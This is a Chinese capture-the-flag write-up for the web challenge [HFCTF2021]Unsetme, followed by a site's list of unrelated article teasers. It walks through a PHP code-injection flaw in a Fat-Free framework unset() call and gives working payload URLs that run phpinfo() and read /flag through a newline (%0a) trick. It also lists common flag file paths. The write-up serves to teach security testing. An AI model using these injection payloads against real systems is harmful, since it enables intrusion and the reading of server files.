CTF-Web习题:[HFCTF2021]Unsetme

题目链接:[HFCTF2021]Unsetme

解题思路

打开靶场发现是一段PHP源码
在这里插入图片描述
做一下代码审阅:

<?php// Kickstart the framework
$f3=require('lib/base.php');//引入f3框架源码$f3->set('DEBUG',1);//f3对象设置DEBUG属性
if ((float)PCRE_VERSION<8.0)trigger_error('PCRE version is out of date');//判断PCRE版本highlight_file(__FILE__);//高亮显示源码
$a=$_GET['a'];//读取get方法的a参数的值
unset($f3->$a);//调用unset函数,去除f3对象中的$a属性$f3->run();//启动f3框架

代码审阅完成后可以发现,我们可以通过调试a的值,设置pyload绕过unset函数从而执行我们的php代码。

尝试编辑url:
http://f27b1769-8bf9-4c77-a499-59963112d705.node5.buuoj.cn:81/?a=a%0a);phpinfo(
发现植入成功
在这里插入图片描述
然后就可以构造payload尝试获取flag
http://f27b1769-8bf9-4c77-a499-59963112d705.node5.buuoj.cn:81/?a=a%0a);echo%20file_get_contents(%27/flag%27
在这里插入图片描述
获取成功~

知识补充

1)%0a编码含义及必要性

我在构造payload时,发现?a=a);phpinfo(不可以,但是?a=a%0a);phpinfo(可以,这是为什么?

答:%0a是换行符\n的url编码,如果不插入换行符,就是下面这种效果

unset($f3->a);phpinfo();

这会导致PHP解释器将整行的字符当作unset的参数处理,导致语法错误。如果插入换行符,变成这样:

unset($f3->a
);phpinfo();

换行符将代码拆分成多个语句,PHP解释器就会判定换行前参数参数接受完毕,从而成功执行后续代码。

2)常见flag存放位置

/flag
/etc/flag
/home/ctf/flag
/var/flag

本题就是在系统根目录下,即/flag处,日后的题目可以多试一下

3)常见payload特殊字符的url编码

' = %27
空格 = %20
\n = %0a

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/873218.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

腾讯元宝上线“3D角色梦工厂”:快速生成专属3D角色!

7月16日&#xff0c;腾讯旗下大模型应用“腾讯元宝”上线“3D角色梦工厂”&#xff0c;允许用户通过上传一张五官清晰的正面头像&#xff0c;并选择不同的角色模板&#xff0c;迅速生成个人3D角色&#xff01; 技术特点 “3D角色梦工厂”将大模型生成技术与3D应用相结合&#…

JavaDS —— 二叉树

树的基本概念 树是一种非线性的数据结构&#xff0c;它是由n&#xff08;n>0&#xff09;个有限结点组成一个具有层次关系的集合。把它叫做树是因为它看 起来像一棵倒挂的树&#xff0c;也就是说它是根朝上&#xff0c;而叶朝下的。 树形结构中&#xff0c;子树之间不能有…

Pandas库学习之DataFrame.drop()函数

Pandas库学习之DataFrame.drop()函数 一、简介 DataFrame.drop 是 Pandas 库中一个非常实用的函数&#xff0c;用于删除 DataFrame 中的行或列。通过指定列名或行索引&#xff0c;可以灵活地从数据集中移除不需要的数据。这对于数据清洗和预处理非常有用。 二、语法和参数 D…

AWS IoT Core 优化分析:提升性能、安全性和成本效益

1. 引言 在当今快速发展的物联网(IoT)领域,AWS IoT Core已成为许多企业首选的IoT平台。然而,随着设备数量的增加和数据流量的激增,优化AWS IoT Core的性能、安全性和成本效益变得至关重要。本文将深入探讨如何通过数据分析来优化AWS IoT Core的各个方面,帮助您充分发挥这个强大…

02线性表 - 链表

这里是只讲干货不讲废话的炽念&#xff0c;这个系列的文章是为了我自己以后复习数据结构而写&#xff0c;所以可能会用一种我自己能够听懂的方式来描述&#xff0c;不会像书本上那么枯燥和无聊&#xff0c;且全系列的代码均是可运行的代码&#xff0c;关键地方会给出注释^_^ 全…

十六、【机器学习】【监督学习】- 支持向量回归 (SVR)

系列文章目录 第一章 【机器学习】初识机器学习 第二章 【机器学习】【监督学习】- 逻辑回归算法 (Logistic Regression) 第三章 【机器学习】【监督学习】- 支持向量机 (SVM) 第四章【机器学习】【监督学习】- K-近邻算法 (K-NN) 第五章【机器学习】【监督学习】- 决策树…

Docker Ubuntu Milvus 2.4 windows 详细安装攻略

目录 背景 安装Docker Destop 下载docker 破解之法 启动 docker destop OS镜像 前置条件 dism 启动WSL服务 命令

MQTT 固定报头中的剩余长度介绍

MQTT协议中的剩余长度&#xff08;Remaining Length&#xff09;是一个重要的概念&#xff0c;它表示当前报文剩余部分的字节数&#xff0c;包括可变报头和负载的数据&#xff0c;但不包括用于编码剩余长度字段本身的字节数。以下是对MQTT剩余长度的详细说明&#xff1a; 一、…

python中excel的读取和写入

python中对于excel文件数据的读取和写入&#xff0c;主要有两种方法&#xff0c;一种是通过pandas库&#xff0c;一种是通过openpyxl库。在实际过程中&#xff0c;因为pandas库对单元格的定位和访问比较方便&#xff0c;openpyxl可以对单个单元格进行写入&#xff0c;而pandas库…

GaussDB常见调优指南

文章目录 GaussDB常见调优指南一. Analyze 统计信息解析二. Explain 分布式计划解析三. 性能调优总体策略详解四. 性能调优之坏味道 SQL 识别五. 性能调优之好味道表定义六. 性能调优之 SQL 改写七. 性能调优之路径干预八. 性能调优之 Plan hint 运用九. 性能调优之 GUC 参数调…

C学习(数据结构)-->单链表习题

目录 一、环形链表 题一&#xff1a;环形链表 思路&#xff1a; 思考一&#xff1a;为什么&#xff1f; 思考二&#xff1a;快指针一次走3步、4步、......n步&#xff0c;能否相遇 step1&#xff1a; step2&#xff1a; 代码&#xff1a; 题二&#xff1a; 环形链表 I…

SAE J1939协议入门(一)

一、SAE J1939是什么 SAE J1939&#xff08;以下简称J1939&#xff09;是由汽车工程师协会&#xff08;SAE &#xff09;定义的标准&#xff0c;专门用于提供微处理器系统之间的串行数据通信。虽然CAN存在并且被广泛用于小型车辆&#xff0c;但J1939被设计为大型车辆复杂网络的…

antd drawer extra中按钮点击事件获取子组件的数据

在Ant Design的Drawer组件中&#xff0c;需要在extra区域的按钮点击事件中获取子组件的数据&#xff0c;可以通过以下步骤实现&#xff1a; 使用useRef钩子在父组件中创建一个ref引用子组件。 在子组件中使用useImperativeHandle或forwardRef来暴露一个方法给父组件调用。 在ex…

android mm m mmm 区别

Android开发中的m, mm, mmm命令用于编译源代码&#xff0c;‌它们的主要区别在于编译的范围和目标。‌ m命令&#xff1a;‌用于从Android源码的根目录开始编译所有的模块。‌这个命令会编译整个Android源代码树&#xff0c;‌确保所有必要的模块都被编译12。‌ mm命令&#x…

如何用Java实现运营商三要素接口调用

今天给大家案例运营商三要素接口&#xff0c;该接口实用性极强&#xff01;建议大家点赞收藏&#xff0c;如果问题可随时评论区留言交流&#xff01; 一、什么是运营商三要素&#xff1f; 运营商三要素通常指的是手机号码、用户姓名和身份证号码。 二、运营商三要素应用场景…

升级TrinityCore 服务器硬件

升级服务器 原服务器&#xff1a;Ubuntu装VirtualBox装Ubuntu虚拟机 原配置&#xff1a;内存1756MB 内核4 外接硬盘 ip 192.168.0.12 升级服务器&#xff1a;FreeBSD装bhyve装Ubuntu虚拟机 新配置&#xff1a;内存3072MB 内核4 ssd硬盘 ip 192.168.1.12 除了ssh&#…

WPF之URI的使用

pack://application:, pack://application:, 是一个在 WPF (Windows Presentation Foundation) 应用程序中用于指定资源位置的 URI (统一资源标识符) 方案的特定格式。这个格式用于访问嵌入在应用程序程序集&#xff08;assemblies&#xff09;中的资源&#xff0c;如图像、XA…

深度挖掘行情接口:股票市场中的关键金融数据API接口解析

在股票市场里&#xff0c;存在若干常见的股票行情数据接口&#xff0c;每一种接口皆具备独特的功能与用途。以下为一些常见的金融数据 API 接口&#xff0c;其涵盖了广泛的金融数据内容&#xff0c;其中就包含股票行情数据&#xff1a; 实时行情接口 实时行情接口&#xff1a…

恒创科技:如何解决“服务器 IP 地址无法被找到”的错误

如何解决“服务器 IP 地址无法被找到”的错误?此错误通常出现在你的设备无法使用其分配的 IP 地址与网络服务器通信时。问题的来源可能多种多样&#xff0c;从简单的拼写错误到复杂的 DNS 和路由问题。以下是对“服务器 IP 地址无法找到”的常见原因以及可以采取的解决办法。 …

万界星空科技MES系统生产计划管理的功能

MES系统&#xff08;Manufacturing Execution System&#xff0c;制造执行系统&#xff09;的生产计划管理功能是其核心功能之一&#xff0c;旨在将企业的生产计划转化为实际的生产操作&#xff0c;并通过实时监控和调整来确保生产活动的顺利进行。以下是MES系统生产计划管理功…